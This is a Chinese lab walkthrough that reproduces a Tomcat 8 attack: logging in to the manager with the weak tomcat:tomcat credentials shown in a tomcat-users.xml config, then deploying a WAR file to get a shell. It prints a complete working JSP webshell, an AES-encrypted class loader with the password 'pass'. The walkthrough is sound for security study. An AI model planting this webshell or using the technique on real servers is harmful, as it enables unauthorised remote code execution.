Tomcat8

简介: Tomcat8

漏洞简述

Tomcat7+ 弱口令 && 后台getshell漏洞

Tomcat版本:8.0

环境说明

Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。

Tomcat7+权限分为:

  • manager(后台管理)
  • manager-gui 拥有html页面权限
  • manager-status 拥有查看status的权限
  • manager-script 拥有text接口的权限,和status权限
  • manager-jmx 拥有jmx权限,和status权限
  • host-manager(虚拟主机管理)
  • admin-gui 拥有html页面权限
  • admin-script 拥有text接口权限

这些权限的究竟有什么作用,详情阅读 http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html

conf/tomcat-users.xml文件中配置用户的权限:

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
    <role rolename="manager-gui"/>
    <role rolename="manager-script"/>
    <role rolename="manager-jmx"/>
    <role rolename="manager-status"/>
    <role rolename="admin-gui"/>
    <role rolename="admin-script"/>
    <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>

可见,用户tomcat拥有上述所有权限,密码是tomcat

正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。

漏洞复现

docker-compose up -d

Error starting userland proxy: listen tcp4 0.0.0.0:8080: bind: address already in use

错误原因关掉burp

打开tomcat管理页面http://127.0.0.1:8080/manager/html,输入弱密码tomcat:tomcat,即可访问后台:

将带有一句话的he.jsp文件压缩成zip,并且将压缩后的zip文件改名为he.war

jsp 一句话木马,密码为pass

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

上传he.war文件

相关文章
|
存储 算法 数据处理
数据的表现形式及其运算
在数据科学和信息技术的世界里,数据的表现形式及其运算占据了至关重要的地位。数据的表现形式决定了我们如何存储、访问和处理数据,而数据的运算则决定了我们如何从这些数据中提取有价值的信息。本文将深入探讨数据的几种常见表现形式以及它们的基本运算,并通过代码示例进行说明。
586 0
|
8月前
|
监控 搜索推荐 数据挖掘
【开发者必看—电商篇】数据赋能电商App活跃度重焕新生
通过友盟+数据分析工具的综合数据分析和个性化推送功能,解决APP用户活跃度迅速下降的问题。
|
网络协议
【qt】TCP客户端如何断开连接?
【qt】TCP客户端如何断开连接?
235 0
|
存储 分布式计算 大数据
大数据的工具都有哪些?
【10月更文挑战第9天】大数据的工具都有哪些?
1130 1
|
边缘计算 人工智能 5G
5G 组网模式:NSA 与 SA 的比较与应用
5G 组网模式:NSA 与 SA 的比较与应用
5544 1
|
存储 监控 关系型数据库
解密MySQL中的临时表:探究临时表的神奇用途
解密MySQL中的临时表:探究临时表的神奇用途
1160 3
【数据结构】二叉搜索树的原理及其实现
【数据结构】二叉搜索树的原理及其实现
|
监控 Ubuntu Linux
glances工具使用
Glances是跨平台的系统监控工具,用于实时监控CPU、内存、磁盘、网络等资源。安装在Ubuntu/Debian上用`sudo apt-get install glances`,CentOS/RHEL需先装epel-release再用`sudo yum/dnf install glances`。运行`glances`启动本地监控,加`-w`参数启动Web服务以远程查看。支持文件输出、邮件报警等高级功能,详情见官方文档,使用帮助可键入`glances --help`。
458 1
|
关系型数据库 MySQL 数据库
MySQL服务器端安装教程
MySQL服务器端安装教程
|
API 文件存储 决策智能
抢鲜评测AgentScope:Agent+游戏制作+视频生成的新范式
LLM-Powered Agent凭借长期记忆+自主规划+自动执行等特性,是探索人工通用智能(AGI)的可能途径之一;而Multi-Agent让多个agent通讯来实现协作,也模拟了人类社交及工作协同场景,旨在探索更高质高效的人机协作模式。